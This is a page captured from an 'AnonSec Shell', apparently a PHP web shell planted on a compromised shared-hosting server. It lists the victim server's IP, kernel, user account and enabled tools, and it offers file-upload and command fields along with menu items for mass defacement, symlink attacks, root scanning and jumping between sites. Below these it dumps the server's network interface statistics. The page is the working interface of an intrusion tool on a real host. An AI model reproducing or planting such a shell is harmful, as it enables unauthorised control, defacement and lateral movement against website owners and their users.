AnonSec Shell
Server IP : 68.65.120.251  /  Your IP : 18.221.100.57   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux server105.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : travtpib ( 6521)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/proc/net//dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 90155961202028 43643530880    0    0    0     0          0         0 90155961202028 43643530880    0    0    0     0       0          0
  eth0: 24283696888377 38474249656    0 23614815 23614815     0          0  30819429 63323808291272 58190896675    0    0    0     0       0          0
  eth1: 24398213193088 39535209791    0 22109929 22109929     0          0  30846524 44882533304301 44346787647    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bgplo:       0       0    0    0    0     0          0         0   658162    9339    0    0    0     0       0          0
  eth4:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth5:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 idrac:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth7:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth6:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bond0: 48681910081465 78009459447    0 45724744 45724744     0          0  61665953 108206341595573 102537684322    0    0    0     0       0          0
bond0.1000: 46191230198911 56722399203    0    0    0     0          0    281350 86910482129594 56506675864    0    0    0     0       0          0
bond0.999: 411365692564 2262825981    0    0    0     0          0    277525 18410381047563 1051307639    0    0    0     0       0          0

Anon7 - 2022
AnonSec Team